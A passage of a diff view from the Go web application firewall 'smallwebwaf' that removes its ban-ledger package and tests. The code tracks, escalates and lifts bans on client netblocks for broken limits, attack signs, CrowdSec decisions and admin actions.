}
// The bans read at the start were made before it.
ledger.Load([]bans.Ban{made, atStart})
if got := ledger.Made(bans.CauseAdmin); got != 0 {
t.Fatalf("%d bans made by an admin after the start's, want none", got)
}
// The admin keeps the ban sww made, keeps the one read at the
// start, and adds one without a cause: that one alone is made.
kept := made
kept.Cause = bans.CauseAdmin
added := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.3/32"),
Start: midnight(),
}
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
}
}
func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultParams())
// An hour's ban for a broken limit.
ledger.BanForLimit(netblock, midnight(), bans.Notes{})
wantChanged(t, ledger, true)
// A minute later an admin bans the netblock for good, named by an
// address in it: that ban is made, and counts the other among the
// earlier bans.
now := midnight().Add(time.Minute)
want := bans.Ban{
Netblock: netblock,
Start: now,
Cause: bans.CauseAdmin,
Reason: "probes for logins",
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
}
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
"probes for logins")
if !reflect.DeepEqual(got, want) {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
}
wantChanged(t, ledger, true)
if made := ledger.Made(bans.CauseAdmin); made != 1 {
t.Errorf("%d bans made by an admin, want 1", made)
}
// It refuses once the ban for the limit has ended.
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
if !banned || !reflect.DeepEqual(ban, want) {
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
ban, banned, want)
}
}
func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
t.Parallel()
client := netip.MustParseAddr("203.0.113.9")
own := netip.MustParsePrefix("203.0.113.9/32")
wide := netip.MustParsePrefix("203.0.113.0/24")
other := netip.MustParsePrefix("203.0.113.10/32")
ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{
// Ended an hour ago.
{
Netblock: own, Start: midnight().Add(-2 * time.Hour),
Expires: midnight().Add(-time.Hour), Cause: bans.CauseLimit,
},
// Active, on the client's address and on its /24.
{
Netblock: own, Start: midnight(), Expires: midnight().Add(time.Hour),
Cause: bans.CauseLimit,
},
{Netblock: wide, Start: midnight(), Cause: bans.CauseAdmin},
// Another client's.
{Netblock: other, Start: midnight(), Cause: bans.CauseAdmin},
})
now := midnight().Add(time.Minute)
lifted := ledger.Lift(client, now)
if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
}
wantChanged(t, ledger, true)
if _, banned, _ := ledger.Check(client, now); banned {
t.Error("the client is still banned")
}
if _, banned, _ := ledger.Check(other.Addr(), now); !banned {
t.Error("the other client's ban was lifted")
}
// The lifted bans are kept, and the one that had ended is not lifted.
covering := ledger.Covering(client)
if len(covering) != 3 || covering[0].Netblock != wide ||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
t.Errorf("the bans covering the client are %+v, want the /24's and both "+
"of its own, the earlier not lifted", covering)
}
// With none active, nothing is lifted or changed.
if lifted = ledger.Lift(client, now); len(lifted) != 0 {
t.Errorf("lifted %+v again", lifted)
}
wantChanged(t, ledger, false)
}
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
t.Parallel()
client := netip.MustParseAddr("203.0.113.9")
ledger := bans.New(defaultParams())
// The temporary ban is made first, so that its netblock is looked at first.
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
"for good")
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
}
func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultParams())
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
"for an hour")
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
}
// wantPermanentBan checks that Find and Check return a permanent ban for
// client at now.
func wantPermanentBan(
t *testing.T, ledger *bans.Ledger, client netip.Addr, now time.Time,
) {
t.Helper()
for name, look := range map[string]func(netip.Addr, time.Time) (bans.Ban, bool, bool){
"Find": ledger.Find,
"Check": ledger.Check,
} {
ban, banned, _ := look(client, now)
if !banned || !ban.Permanent() {
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
}
}
}
internal/bans/bans.go
-942
View File
@@ -1,942 +0,0 @@
// Package bans is the ban ledger: the bans sww makes on the
// netblocks of clients that break a rate limit, a byte limit or the error
// burst, show a clear sign of attack or are listed by the CrowdSec
// decision list, and
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and
// read from it by the state package.
package bans
import (
"fmt"
"math"
"net/netip"
"slices"
"strings"
"sync"
"time"
"github.com/hashicorp/golang-lru/v2/simplelru"
)
// The causes of bans.
const (
// CauseLimit is a ban sww made for a broken limit.
CauseLimit = "limit"
// CauseAttack is a ban sww made for a clear sign of attack.
CauseAttack = "attack"
// CauseAdmin is a ban an admin made, or one sww made that an
// admin keeps. It is never dropped.
CauseAdmin = "admin"
// CauseCrowdSec is a ban sww made for a client the CrowdSec
// decision list lists. It ends when CrowdSec's decision does.
CauseCrowdSec = "crowdsec"
)
// repeatFactor is how many times as long as the netblock's last ban a ban
// for a limit broken again within the repeat window lasts.
const repeatFactor = 3
// maxTextBytes is how much of each text in a ban's notes is kept.
const maxTextBytes = 256
// Params are how long a ban lasts, and how many bans are held.
type Params struct {
// LimitBanDuration is how long a first ban for a broken limit lasts.
LimitBanDuration time.Duration
// LimitBanRepeatWindow is how soon after the end of the netblock's
// ban that ended last, other than one for a clear sign of attack or for
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
// repeatFactor times as long as that ban.
LimitBanRepeatWindow time.Duration
// MaxBanDuration is the longest ban for a broken limit; one that would
// be longer is permanent instead.
MaxBanDuration time.Duration
// AttackBanDuration is how long a first ban for a clear sign of attack
// lasts.
AttackBanDuration time.Duration
// MaxBans is the most bans held whose cause is not CauseAdmin, at
// least one. Past it, the earliest such ban of the netblock that has
// gone longest without a request is dropped. Bans whose cause is
// CauseAdmin are held besides, and never dropped.
MaxBans int
}
// Ban is a ban on a netblock.
type Ban struct {
Netblock netip.Prefix
Start time.Time
// Expires is when the ban ends, zero for a permanent ban.
Expires time.Time
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
Cause string
// Reason is a short text: for a ban sww made, the limit broken,
// the rule that matched or the scenario of CrowdSec's decision; for an
// admin's, what the admin wrote.
Reason string
// Lifted is when an admin lifted the ban, zero while no admin has. A
// lifted ban refuses nothing, and does not make the netblock's next
// ban longer.
Lifted time.Time
Notes Notes
}
// Permanent reports whether the ban never runs out.
func (b Ban) Permanent() bool {
return b.Expires.IsZero()
}
// ActiveAt reports whether the ban refuses requests at now: it has not
// been lifted, and has not run out.
func (b Ban) ActiveAt(now time.Time) bool {
return b.Lifted.IsZero() && (b.Permanent() || now.Before(b.Expires))
}
// Notes are what an admin needs to decide whether to lift a ban. The
// JSON names are those of bans.json.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Notes struct {
// ASN, ASName and Country are the client's AS number, AS name and
// country, when they were looked up: when the request that caused the
// ban was made, or when GeoJS answered about the client afterwards.
ASN string `json:"asn"`
ASName string `json:"as_name"`
Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the error burst, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included.
// These are what counted toward the ban, and the window is the time
// over which they came.
Kind string `json:"kind,omitempty"`
Limit int64 `json:"limit,omitempty"`
Window string `json:"window,omitempty"`
Count float64 `json:"count,omitempty"`
// LimitPercent and LimitPercentSetting are, for a ban for a limit a
// biased threshold lowered, the client's percentage of that kind of
// limit, of which Limit is the result, and the setting that gave it.
// Both are left out for a limit that was not lowered.
LimitPercent *int64 `json:"limit_percent,omitempty"`
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWW_TRAP_PATHS, that path as the
// client sent it.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
TrapPath string `json:"trap_path,omitempty"`
// Reputation is the reputation sources that listed the client when
// the request that caused the ban was made, in the order the request
// log's reputation names them. It is left out when none did.
Reputation []ReputationHit `json:"reputation,omitempty"`
// Request is the request that broke the limit, or whose bytes broke
// it, that was the clear sign of attack, or that came from a client the
// CrowdSec decision list lists.
Request Request `json:"request"`
// Requests is how many requests the netblock has sent since it was
// first seen, and Refused how many of them the ban has refused so
// far. Both go up with each request the ban refuses.
Requests int64 `json:"requests"`
Refused int64 `json:"refused"`
// EarlierBans is how many bans the netblock had before this one, by
// cause.
EarlierBans EarlierBans `json:"earlier_bans"`
}
// ReputationHit is a reputation source that listed a client, as a
// reputation_hit alert's detail gives it: Source is the URL of the
// blocklist or of the CrowdSec decision list, the DNSBL zone with its key
// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
// client.
type ReputationHit struct {
Source string `json:"source"`
Score *int64 `json:"score,omitempty"`
}
// EarlierBans counts a netblock's bans before a ban, by cause.
type EarlierBans struct {
Limit int `json:"limit"`
Attack int `json:"attack"`
Admin int `json:"admin"`
CrowdSec int `json:"crowdsec"`
}
// Request is a request in a ban's notes. Each text is cut to 256 bytes.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Request struct {
Time time.Time `json:"time"`
Method string `json:"method"`
Host string `json:"host"`
// Path is the path with its query string.
Path string `json:"path"`
// Status is what the client was sent, 0 if nothing was.
Status int `json:"status"`
UserAgent string `json:"user_agent"`
}
// Ledger holds the bans. It is safe for concurrent use.
type Ledger struct {
params Params
// changed receives a value when a ban is made, unless one is waiting
// already.
changed chan struct{}
mu sync.Mutex
// netblocks holds each banned netblock's bans, oldest first. Check and
// Find make each netblock they find the most recently seen.
netblocks *simplelru.LRU[netip.Prefix, *[]Ban]
// held is how many bans netblocks holds whose cause is not CauseAdmin,
// at most params.MaxBans.
held int
// made is how many bans have been made since the start, by cause: by
// the ledger, and by an admin, through BanForAdmin or in an edit of
// bans.json.
made map[string]int
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
// netblocks that have been banned. Check looks for a ban at each of
// them, so that a ban read from bans.json refuses every client in its
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
// or another length of an IPv6 client's netblock.
v4Lengths, v6Lengths []int
}
// New returns a Ledger with no ban yet.
func New(params Params) *Ledger {
// The ledger drops bans itself, and never those whose cause is
// CauseAdmin, however many there are, so the LRU has no limit of its
// own: it keeps the netblocks in the order they were last seen.
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
if err != nil {
panic(err) // NewLRU fails only for a size below one
}
return &Ledger{
params: params,
changed: make(chan struct{}, 1),
netblocks: netblocks,
made: map[string]int{},
}
}
// Changed receives a value after a ban is made, lifted or made permanent,
// so that bans.json can be written. Several changes before it is read
// leave one value.
func (l *Ledger) Changed() <-chan struct{} {
return l.changed
}
// Check is called for a request from client, at now. It reports whether
// a ban on a netblock client is in is active, and returns that ban, with
// the request counted among those it refused. A ban for a clear sign of
// attack is made permanent by the request: the netblock is malicious.
// The last result reports whether the request made the ban permanent.
func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool, bool) {
l.mu.Lock()
defer l.mu.Unlock()
ban := l.active(client, now)
if ban == nil {
return Ban{}, false, false
}
ban.Notes.Requests++
ban.Notes.Refused++
madePermanent := ban.Cause == CauseAttack && !ban.Permanent()
if madePermanent {
ban.Expires = time.Time{}
l.markChanged()
}
return *ban, true, madePermanent
}
// Find is Check without counting the request among those the ban
// refused, and without making the ban permanent: in observe mode a ban
// refuses nothing. The last result reports whether Check would have made
// the ban permanent.
func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) {
l.mu.Lock()
defer l.mu.Unlock()
ban := l.active(client, now)
if ban == nil {
return Ban{}, false, false
}
return *ban, true, ban.Cause == CauseAttack && !ban.Permanent()
}
// activeBan returns the ban in bans, a netblock's bans oldest first, that
// is active at now, or nil when none is. If several are, it returns the
// newest permanent one, or the newest when none is permanent. Every ban is
// looked at, since a ban an admin adds to bans.json can start before the
// netblock's others and outlast them.
func activeBan(bans []Ban, now time.Time) *Ban {
var newest *Ban
for i := len(bans) - 1; i >= 0; i-- {
if !bans[i].ActiveAt(now) {
continue
}
if bans[i].Permanent() {
return &bans[i]
}
if newest == nil {
newest = &bans[i]
}
}
return newest
}
// BanForLimit bans netblock at now for a broken limit, with notes, and
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban
// made within LimitBanRepeatWindow after the netblock's ban that ended
// last, other than one for a clear sign of attack or for CrowdSec's
// decision, or a lifted one, lasts
// repeatFactor times as long as that one. A ban that would be longer
// than MaxBanDuration is permanent instead. If a ban on netblock is still
// active, as when two of its requests break a limit at once, that ban is
// returned with false, and no other is made. The ledger fills in the
// notes' Refused and EarlierBans itself, and gives the ban the reason
// "<Kind> per <Window> over the limit of <Limit>", from the notes, such
// as "requests per minute over the limit of 1000".
func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
}
// WouldBanForLimit returns what BanForLimit would, without making the ban:
// what observe mode would have done.
func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
}
// BanForAttack bans netblock at now for a clear sign of attack, with
// notes, and returns the ban, and whether it made it, as BanForLimit
// does. A first ban lasts AttackBanDuration; once the netblock has had
// one that was not lifted, the next is permanent. Its reason is "matched
// the rule <RuleID>", or "asked for the trap path <TrapPath>".
func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
}
// WouldBanForAttack returns what BanForAttack would, without making the
// ban: what observe mode would have done.
func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
false)
}
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
// decision on the client ends, with notes, and returns the ban, and
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
true)
}
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
) (Ban, bool) {
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
false)
}
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
// CauseAttack or CauseCrowdSec, made at now would be permanent, as
// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
// nothing else of the ban. A ban for CrowdSec's decision is never
// permanent: it ends with the decision.
func (l *Ledger) WouldBePermanent(
netblock netip.Prefix, now time.Time, cause string,
) bool {
l.mu.Lock()
defer l.mu.Unlock()
var held []Ban
if bans, found := l.netblocks.Peek(netblock); found {
held = *bans
}
switch cause {
case CauseAttack:
return l.attackExpiry(held, now).IsZero()
case CauseLimit:
return l.limitExpiry(held, now).IsZero()
default: // CauseCrowdSec
return false
}
}
// limitReason is the reason of a ban for a broken limit, with notes.
func limitReason(notes Notes) string {
return fmt.Sprintf("%s per %s over the limit of %d",
notes.Kind, notes.Window, notes.Limit)
}
// attackReason is the reason of a ban for a clear sign of attack, with
// notes.
func attackReason(notes Notes) string {
if notes.TrapPath != "" {
return "asked for the trap path " + notes.TrapPath
}
return "matched the rule " + notes.RuleID
}
// crowdSecReason is the reason of a ban for CrowdSec's decision, which
// scenario made.
func crowdSecReason(scenario string) string {
return "CrowdSec's decision for " + scenario
}
// BanForAdmin bans netblock at now for an admin, with reason, until
// expires, or for good when expires is zero, and returns the ban, whose
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
// ban even while another on netblock is active, since the admin asked
// for this one. The ledger fills in the notes' EarlierBans, and counts
// the ban among those made.
func (l *Ledger) BanForAdmin(
netblock netip.Prefix, now, expires time.Time, reason string,
) Ban {
l.mu.Lock()
defer l.mu.Unlock()
ban := Ban{
Netblock: netblock.Masked(), Start: now, Expires: expires, Cause: CauseAdmin,
Reason: reason,
}
held, found := l.netblocks.Get(ban.Netblock)
if found {
ban.Notes.EarlierBans = earlierBans(*held)
}
l.add(ban)
l.made[CauseAdmin]++
l.markChanged()
return ban
}
// Lift lifts, at now, every ban active then on a netblock client is in,
// as an admin does, and returns those bans. A lifted ban is kept, refuses
// nothing, and does not make the netblock's next ban longer.
func (l *Ledger) Lift(client netip.Addr, now time.Time) []Ban {
l.mu.Lock()
defer l.mu.Unlock()
var lifted []Ban
for _, bans := range l.covering(client) {
for i := range *bans {
ban := &(*bans)[i]
if ban.ActiveAt(now) {
ban.Lifted = now
lifted = append(lifted, *ban)
}
}
}
if len(lifted) > 0 {
l.markChanged()
}
return lifted
}
// Covering returns every ban held on a netblock client is in, active or
// not, sorted by netblock, and each netblock's bans oldest first. It is
// not a request from client, and leaves when the netblocks were last seen
// unchanged.
func (l *Ledger) Covering(client netip.Addr) []Ban {
l.mu.Lock()
defer l.mu.Unlock()
var held []Ban
for _, bans := range l.covering(client) {
held = append(held, *bans...)
}
slices.SortStableFunc(held, func(a, b Ban) int {
return a.Netblock.Compare(b.Netblock)
})
return held
}
// Bans returns the bans held on netblock, oldest first. It is not a
// request from netblock, and leaves when it was last seen unchanged.
func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
l.mu.Lock()
defer l.mu.Unlock()
bans, found := l.netblocks.Peek(netblock)
if !found {
return nil
}
return slices.Clone(*bans)
}
// AddLookup gives the notes of netblock's bans that have no AS number, AS
// name or country yet those of a client in it, as the lookup answered
// about it. It is not a request from netblock, and leaves when it was last
// seen unchanged. It does not have bans.json written at once: the notes
// are written with its next write, as the counts in them are.
func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
l.mu.Lock()
defer l.mu.Unlock()
bans, found := l.netblocks.Peek(netblock)
if !found {
return
}
for i := range *bans {
notes := &(*bans)[i].Notes
if notes.ASN == "" && notes.ASName == "" && notes.Country == "" {
notes.ASN, notes.ASName, notes.Country = asn, asName, country
}
}
}
// Made returns how many bans for cause have been made since the start:
// for CauseLimit and CauseAttack, by the ledger; for CauseAdmin, by an
// admin, with BanForAdmin or in an edit of bans.json, as LoadEdit counts
// them. The bans read from bans.json at the start are not among them.
func (l *Ledger) Made(cause string) int {
l.mu.Lock()
defer l.mu.Unlock()
return l.made[cause]
}
// Count returns how many of the bans held are active at now, and how many
// of those are permanent. A lifted ban is neither.
func (l *Ledger) Count(now time.Time) (int, int) {
l.mu.Lock()
defer l.mu.Unlock()
active, permanent := 0, 0
for _, bans := range l.netblocks.Values() {
for _, ban := range *bans {
if !ban.ActiveAt(now) {
continue
}
active++
if ban.Permanent() {
permanent++
}
}
}
return active, permanent
}
// Snapshot returns every ban held, sorted by netblock, and each
// netblock's bans oldest first, as bans.json lists them.
func (l *Ledger) Snapshot() []Ban {
l.mu.Lock()
defer l.mu.Unlock()
held := make([]Ban, 0, l.held)
for _, bans := range l.netblocks.Values() {
held = append(held, *bans...)
}
slices.SortStableFunc(held, func(a, b Ban) int {
return a.Netblock.Compare(b.Netblock)
})
return held
}
// Load puts bans read from bans.json at the start into the ledger, in
// place of the bans it holds, in the order they started, so that a
// netblock whose last ban started latest counts as the most recently
// seen. A ban without a cause is an admin's, and gets CauseAdmin. Each
// netblock is masked to its length, so that 203.0.113.9/24 is
// 203.0.113.0/24, and each text in the notes is cut to 256 bytes. Past
// MaxBans the earliest bans whose cause is not CauseAdmin are dropped, as
// when they are made.
func (l *Ledger) Load(bans []Ban) {
l.mu.Lock()
defer l.mu.Unlock()
l.load(bans)
}
// LoadEdit is Load for an admin's edit of bans.json, taken in while
// sww runs. Each ban in it whose cause is CauseAdmin, and which
// the ledger did not hold, with the same netblock and start, is one the
// admin made, and is counted among the bans made.
func (l *Ledger) LoadEdit(bans []Ban) {
l.mu.Lock()
defer l.mu.Unlock()
l.made[CauseAdmin] += l.load(bans)
}
// load does what Load describes, and returns how many of bans are bans
// whose cause is CauseAdmin that the ledger did not hold before.
func (l *Ledger) load(bans []Ban) int {
bans = slices.Clone(bans)
added := 0
for i := range bans {
ban := &bans[i]
ban.Netblock = ban.Netblock.Masked()
ban.Notes.Request = ban.Notes.Request.cut()
if ban.Cause == "" {
ban.Cause = CauseAdmin
}
if ban.Cause == CauseAdmin && !l.holds(ban.Netblock, ban.Start) {
added++
}
}
slices.SortStableFunc(bans, func(a, b Ban) int {
return a.Start.Compare(b.Start)
})
l.netblocks.Purge()
l.held = 0
l.v4Lengths, l.v6Lengths = nil, nil
for _, ban := range bans {
l.add(ban)
}
return added
}
// holds reports whether the ledger holds a ban on netblock that started
// at start.
func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
bans, found := l.netblocks.Peek(netblock)
return found && slices.ContainsFunc(*bans, func(ban Ban) bool {
return ban.Start.Equal(start)
})
}
// ban bans netblock at now for cause, with reason and notes, as
// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
// ban, and whether it made it. expires is when a ban for CauseCrowdSec
// ends, and zero for the others, whose end the ledger works out. Unless
// keep is true, the ban is not made, only returned: it is the ban that
// would have been made.
func (l *Ledger) ban(
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
keep bool,
) (Ban, bool) {
l.mu.Lock()
defer l.mu.Unlock()
// held are the netblock's bans, none of them active.
var held []Ban
bans, found := l.netblocks.Get(netblock)
if found {
active := activeBan(*bans, now)
if active != nil {
return *active, false
}
held = *bans
notes.EarlierBans = earlierBans(held)
}
notes.Request = notes.Request.cut()
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
switch cause {
case CauseAttack:
ban.Expires = l.attackExpiry(held, now)
case CauseLimit:
ban.Expires = l.limitExpiry(held, now)
default: // CauseCrowdSec
ban.Expires = expires
}
if !keep {
return ban, true
}
l.add(ban)
l.made[cause]++
l.markChanged()
return ban, true
}
// earlierBans returns how many bans a netblock with the bans held, oldest
// first, has had, by cause. Each ban held gives a count: the bans its
// notes count before it, and one for it and each ban held after it. A
// ban's count misses a ban dropped after it to make room, and that of an
// admin's ban added to bans.json without notes misses the bans before it,
// so the count that names the most bans is taken, whole: a ban an admin
// keeps by giving it CauseAdmin is still counted under its old cause in
// later bans' notes, and taking each cause from another count would count
// it twice.
func earlierBans(held []Ban) EarlierBans {
// fromHere counts ban and the bans held after it.
var most, fromHere EarlierBans
for _, ban := range slices.Backward(held) {
switch ban.Cause {
case CauseLimit:
fromHere.Limit++
case CauseAttack:
fromHere.Attack++
case CauseAdmin:
fromHere.Admin++
case CauseCrowdSec:
fromHere.CrowdSec++
}
notes := ban.Notes.EarlierBans
count := EarlierBans{
Limit: notes.Limit + fromHere.Limit,
Attack: notes.Attack + fromHere.Attack,
Admin: notes.Admin + fromHere.Admin,
CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
}
// Of counts that name as many bans, the earlier ban's is taken: it
// counts more of the bans held by the cause they have now.
if count.total() >= most.total() {
most = count
}
}
return most
}
// total returns how many bans e counts, of all causes.
func (e EarlierBans) total() int {
return e.Limit + e.Attack + e.Admin + e.CrowdSec
}
// markChanged has Changed receive a value, unless one is waiting already.
func (l *Ledger) markChanged() {
select {
case l.changed <- struct{}{}:
default: // a value is waiting already
}
}
// active returns the ban active at now on a netblock client is in, or
// nil. If several netblocks have one, it returns a permanent ban when
// there is one.
func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
lengths := l.v6Lengths
if client.Is4() {
lengths = l.v4Lengths
}
var first *Ban
for _, length := range lengths {
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
if !found {
continue
}
ban := activeBan(*bans, now)
if ban == nil {
continue
}
if ban.Permanent() {
return ban
}
if first == nil {
first = ban
}
}
return first
}
// covering returns the bans of each netblock held that client is in,
// leaving when the netblocks were last seen unchanged.
func (l *Ledger) covering(client netip.Addr) []*[]Ban {
lengths := l.v6Lengths
if client.Is4() {
lengths = l.v4Lengths
}
var found []*[]Ban
for _, length := range lengths {
bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
if ok {
found = append(found, bans)
}
}
return found
}
// add adds ban to its netblock's bans, after the last, and makes its
// netblock the most recently seen. With MaxBans held, it drops one first,
// unless ban's cause is CauseAdmin, which does not count toward MaxBans.
func (l *Ledger) add(ban Ban) {
counted := ban.Cause != CauseAdmin
if counted && l.held == l.params.MaxBans {
l.dropOne()
}
// dropOne can have dropped the netblock's last ban, and the netblock
// with it.
bans, found := l.netblocks.Get(ban.Netblock)
if !found {
bans = &[]Ban{}
l.netblocks.Add(ban.Netblock, bans)
}
*bans = append(*bans, ban)
if counted {
l.held++
}
lengths := &l.v6Lengths
if ban.Netblock.Addr().Is4() {
lengths = &l.v4Lengths
}
if !slices.Contains(*lengths, ban.Netblock.Bits()) {
*lengths = append(*lengths, ban.Netblock.Bits())
}
}
// limitExpiry returns when a ban for a broken limit made at now ends, or
// zero when it is permanent. held are the netblock's bans, none of them
// active, of which the one that ended last, other than a ban for a clear
// sign of attack or for CrowdSec's decision, or a lifted one, can make the
// new ban longer. A ban an admin adds to bans.json can start after
// another and end before it, so that one is looked for among them all.
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
length := l.params.LimitBanDuration
var last *Ban
for i, ban := range held {
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) {
last = &held[i]
}
}
if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow.
if lastLength > l.params.MaxBanDuration/repeatFactor {
return time.Time{}
}
length = repeatFactor * lastLength
}
if length > l.params.MaxBanDuration {
return time.Time{}
}
return now.Add(length)
}
// attackExpiry returns when a ban for a clear sign of attack made at now
// ends. held are the netblock's bans, none of them active: if one of them
// is for a clear sign of attack too, and was not lifted, the new ban is
// permanent, and its end zero; otherwise it ends AttackBanDuration later.
func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time {
for _, ban := range held {
if ban.Cause == CauseAttack && ban.Lifted.IsZero() {
return time.Time{}
}
}
return now.Add(l.params.AttackBanDuration)
}
// dropOne drops the earliest ban whose cause is not CauseAdmin of the
// netblock that has gone longest without a request, of those that hold
// such a ban, and the netblock with it if that was its only ban. It is
// called with at least one such ban held. It looks at each netblock once
// at most, and drops nothing when none holds such a ban.
func (l *Ledger) dropOne() {
for range l.netblocks.Len() {
netblock, bans, _ := l.netblocks.GetOldest()
i := slices.IndexFunc(*bans, func(ban Ban) bool {
return ban.Cause != CauseAdmin
})
if i < 0 {
// Its bans are all an admin's, and never dropped. Get makes
// it the most recently seen, so that the next netblock is
// looked at; when it was seen matters only for dropping a
// ban, and a ban added to it makes it the most recently seen
// anyway.
l.netblocks.Get(netblock)
continue
}
if len(*bans) == 1 {
l.netblocks.Remove(netblock)
} else {
*bans = slices.Delete(*bans, i, i+1)
}
l.held--
return
}
}
// cut returns r with each text cut to maxTextBytes and copied, so that
// the notes do not keep the rest of the request in memory.
func (r Request) cut() Request {
r.Method = cutText(r.Method)
r.Host = cutText(r.Host)
r.Path = cutText(r.Path)
r.UserAgent = cutText(r.UserAgent)
return r
}
// cutText returns a copy of the first maxTextBytes of text.
func cutText(text string) string {
return strings.Clone(text[:min(len(text), maxTextBytes)])
}
internal/bans/bans_test.go
-523
View File
@@ -1,523 +0,0 @@
package bans_test
import (
"net/netip"
"reflect"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
const day = 24 * time.Hour
func TestRepeatsTripleUntilPermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
// Each ban is followed by another as soon as it ends: 1, 3, 9, 27 and
// 81 hours.
for i, hours := range []int{1, 3, 9, 27, 81} {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
length := time.Duration(hours) * time.Hour
if !ban.Expires.Equal(now.Add(length)) ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
